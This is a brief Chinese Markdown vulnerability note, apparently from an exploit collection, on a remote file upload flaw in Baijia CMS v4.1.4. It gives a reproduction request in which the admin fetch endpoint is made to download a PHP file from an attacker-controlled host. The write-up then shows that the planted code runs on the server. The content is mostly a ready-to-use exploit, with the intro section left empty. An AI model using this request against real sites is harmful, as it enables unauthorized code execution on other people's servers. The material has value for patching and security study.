003-百家cms v4.1.4 远程文件上传漏洞.md

600 B / 2021-07-17 00:01:22

    # 百家cms v4.1.4 远程文件上传漏洞

### 一、漏洞简介

### 二、漏洞影响

百家cms v4.1.4

### 三、复现过程


```bash
# 需要后台权限
http://url/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php
```

远程服务器起一个/test/test.php，内容为**<?php echo "<?php phpinfo();";**

![](images/15896949616547.png)


访问payload，得到路径

![](images/15896949744228.png)


访问路径，执行代码

![](images/15896949816950.png)

查看本地文件

![](images/15896949950990.png)


参考链接

https://xz.aliyun.com/t/7542